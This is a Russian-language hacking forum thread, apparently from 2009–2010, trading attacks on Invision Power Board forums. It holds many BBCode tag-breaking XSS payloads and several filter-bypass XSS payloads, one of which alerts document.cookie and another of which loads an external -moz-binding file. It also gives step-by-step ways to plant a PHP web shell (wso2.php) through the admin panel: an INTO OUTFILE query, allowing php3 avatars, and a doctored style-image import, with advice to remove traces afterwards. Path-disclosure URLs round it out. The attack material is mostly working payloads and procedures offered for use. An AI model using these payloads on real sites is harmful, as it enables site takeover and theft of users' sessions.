    [*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry]


    <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a>

    Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится.

    1) [*[email protected]]Clickhere![*/email]

    A) [*[email protected][*[email protected]][*/email]][*/email]
    B) [*[email protected][*font=times]This]Click[*/font] here![*/email]
    C) [*[email protected][*color=red]This]Click[*/color] here![*/email]
    D) [*[email protected][*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email]
    E) [*[email protected][*member=admin]runs this site.]Clickhere![*/email]
    F) [*[email protected][*blog=100]Clickme!]Click[*/blog]here![*/email]
    G) [*[email protected][*entry=100]Click_me!]Click[*/entry]here![*/email]

    2) [*url]http://www.domain.com[*/url]

    A) [*url]http://www.domain.com[*email][email protected][*/email][*/url]
    B) [*url]http://www.domain.com[*[email protected]]Clickhere![*/email][*/url]
    C) [*url]http://www.domain.com[*size=7]This[*/size][*/url]
    D) [*url]http://www.domain.com[*font=times]This[*/font][*/url]
    E) [*url]http://www.domain.com[*color=red]This[*/color][*/url]
    F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background]
    G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url]
    H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url]

    3) [*url=http://www.domain.com]Clickhere![*/url]

    A) [*url=http://www.domain.com[*[email protected]]Clickhere!]Click[*/email]here![*/url]
    B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url]
    C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url]
    D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url]
    E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url]
    F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url]
    G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url]

    4) [*font=times]This[*/font]

    A) [*font=times[*font=times]This[*/font]]This[*/font]
    B) [*font=times[*member=admin]runs this site.]This[*/font]
    C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font]
    D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font]


    5) [*color=red]This[*/color]

    A) [*color=red[*color=red]This[*/color]]This[*/color]
    B) [*color=red[*font=times]This]Th[*/font]is[*/color]
    C) [*color=red[*member=admin]runs this site.]This[*/color]
    D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color]
    E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color]


    6) [*topic=100]Clickme![*/topic]

    A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic]
    B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic]
    C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic]
    D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic]
    E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic]
    F) [*topic=100[*[email protected]]Clickhere!]Clickme![*/topic][*/email]
    G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic]
    H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic]
    I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic]
    J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic]
    K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic]

    7) [*post=100]Clickme![*/post]

    A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post]
    B) [*post=100[*[email protected]]][*/post][*/email]
    C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post]
    D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post]
    E) [*post=100[*member=admin]runs this site.]Clickme![*/post]
    F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog]
    G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post]

    8) [*acronym='Laugh Out Loud']lol[*/acronym]

    A) [*acronym='Laugh Out Loud[*[email protected]]Clickhere!']lol[*/email][*/acronym]
    B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym]
    C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym]
    D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym]
    E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym]
    F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym]
    G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow]
    H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym]

    9) [*background=red]Red_background_behind_this_text[*/background]

    A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background]
    B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background]
    C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background]
    D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background]
    E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background]
    F) [*background=red[*entry=100]]Red[*/entry][*/background]

    LeverOne. 17.12.2009
     
    #37 LeverOne, 17 Dec 2009
    Last edited: 17 Jan 2010
    7 people like this.
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):

    вариант1:

    Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

    select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'

    полный путь можно посмотреть так:

    ->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO

    шелл: http://site.ru/uploads/shell.php

    PS: Нужны соответствующие права

    вариант2:

    Форумы->Прикрепляемые файлы->Типы файлов

    жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да.

    Топаем в свой профиль:

    http://site.ru/index.php?app=core&module=usercp&tab=members&area=avatar

    грузим аву-шелл с расширением php3 и получаем шелл по адресу:

    http://site.ru/uploads/av-1.php3

    ====================================

    Раскрытие пути:

    Code:
    http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1
    
    Code:
    Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400
    
    Code:
    http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1
    
    Code:
    Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141
    
    Code:
    http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump=A
    
    Code:
    Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234
    
    Code:
    http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members&section=view&module=list&quickjump=A
    
    Code:
    Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235
    
    Code:
    http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members&section=view&module=list&quickjump=A
    
    Code:
    Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237
    
    Code:
    http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump[]=A
    
    Code:
    Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297
    
     
    #38 Pashkela, 19 Dec 2009
    Last edited: 19 Dec 2009
    2 people like this.
  19. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Множественные уязвимости I.P.B.


    Вообще, IPB кишит всяческими ошибками.
    В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
    Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
    XSS тоже можно накопать немало.

    Уязвимость: активная XSS.
    Требования: права админа =)
    Описание:
    http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&section=qanda&do=new
    Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
    Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda.php:
    PHP:
            /* Build DB Array */ 
            
    $db_array = array(  
                                
    'qa_question'    => $_POST['question'], 
                                
    'qa_answers'    => $_POST['answers'], 
                            );
    ...
    PHP:
           $this->DB->insert'question_and_answer'$db_array );


    Уязвимость: активная XSS
    Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
    Описание:
    Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
    PHP:
        public function checkXss$txt=''$fixScript=false 
        { 
            
    //----------------------------------------- 
            // Opening script tags... 
            // Check for spaces and new lines... 
            //----------------------------------------- 
             
            
    if ( $fixScript 
            { 
                
    $txt preg_replace"#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is"        "&lt;script" $txt ); 
                
    $txt preg_replace"#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is""&lt;/script"$txt ); 
            } 
             
            
    //----------------------------------------- 
            // Here we can do some generic checking for XSS 
            // This should not be considered fool proof, though can provide 
            //    a centralized point for maintenance and checking 
            //----------------------------------------- 
             
            
    $txt str_ireplace"(j)avascript" "\\1avascript"$txt ); 
            
    $txt str_ireplace"alert"      "alert"          $txt ); 
            
    $txt str_ireplace"behavior"   "behavior"          $txt ); 
            
    $txt preg_replace"/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" "\\1xp​ression"     $txt ); 
            
    $txt preg_replace"/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is"       "\\1xp​ression"           $txt ); 
            
    $txt preg_replace"/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is"       "moz-​binding"           $txt ); 
            
    $txt str_ireplace"about:"     "about:"         $txt ); 
            
    $txt str_ireplace"<body"      "&lt;body"            $txt ); 
            
    $txt str_ireplace"<html"      "&lt;html"            $txt ); 
            
    $txt str_ireplace"document." "document."      $txt ); 
            
    $txt str_ireplace"window."   "window."      $txt ); 
             
            
    $event_handlers    = array( 'mouseover''mouseout''mouseup''mousemove''mousedown''mouseenter''mouseleave''mousewheel'
                                     
    'contextmenu''click''dblclick''load''unload''submit''blur''focus''resize''scroll'
                                     
    'change''reset''select''selectionchange''selectstart''start''stop''keydown''keyup'
                                     
    'keypress''abort''error''dragdrop''move''moveend''movestart''activate''afterprint'
                                     
    'afterupdate''beforeactivate''beforecopy''beforecut''beforedeactivate''beforeeditfocus'
                                     
    'beforepaste''beforeprint''beforeunload''begin''bounce''cellchange''controlselect'
                                     
    'copy''cut''paste''dataavailable''datasetchanged''datasetcomplete''deactivate''drag'
                                     
    'dragend''dragleave''dragenter''dragover''drop''end''errorupdate''filterchange''finish'
                                     
    'focusin''focusout''help''layoutcomplete''losecapture''mediacomplete''mediaerror''outofsync'
                                     
    'pause''propertychange''progress''readystatechange''repeat''resizeend''resizestart''resume'
                                     
    'reverse''rowsenter''rowexit''rowdelete''rowinserted''seek''syncrestored''timeerror'
                                     
    'trackchange''urlflip'
                                    ); 
             
            foreach( 
    $event_handlers as $handler 
            { 
                
    $txt str_ireplace'on' $handler'on' $handler$txt ); 
            } 

            return 
    $txt
        }
    Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
    Обратные кавычки (`backtips`) не фильтруются.
    Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
    Составляем запрос (для IE), внедряемся в параметр style тега span:
    Code:
    [*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
    Для FF:
    Code:
    [*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]

    Уязвимость: активная XSS
    Требования: -
    Описание:
    //В данном посте косяки, грядут переделки
    В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
    PHP:
     $txt preg_replace"/(j)avascript/i" "\\1avascript"$txt );
    Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
    Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
    Code:
    [*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code]

    //Далее без претензии на уникальность, развиваю пост LeverOne'а
    Теперь вспомним о xss с разрушением тегов.
    В IPB фильтруются javascript и -moz-binding.
    Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
    Новый запрос для ie:
    Code:
    [acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]
    
    Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
    Code:
    [acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]
    
     
    #39 Root-access, 4 Jan 2010
    Last edited: 15 Jan 2010
    1 person likes this.
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:

    https://forum.antichat.ru/showpost.php?p=977862&postcount=10

    но небольшие изменения:

    1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый

    2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master"

    3. Идем в нашу папочку (на примере Denwer)

    C:\WebServers\home\drup614.ru\www\public\style_images\master

    и суем туда наш любимый wso2.php

    4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz

    5. В архиве файлик images-master.xml

    Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом

    6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений

    Рядом с

    C:\WebServers\home\drup614.ru\www\public\style_images\master

    появится

    C:\WebServers\home\drup614.ru\www\public\style_images\master2

    где будет лежать все тоже самое, плюс наш шелл

    в итоге шелл будет по адресу:

    http://forum.site.ru/public/style_images/master2/wso2.php

    PS: не забудьте потом переместить шелл и удалить каталог master2

    Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку
     
    #40 Pashkela, 1 Feb 2010
    Last edited: 1 Feb 2010
    1 person likes this.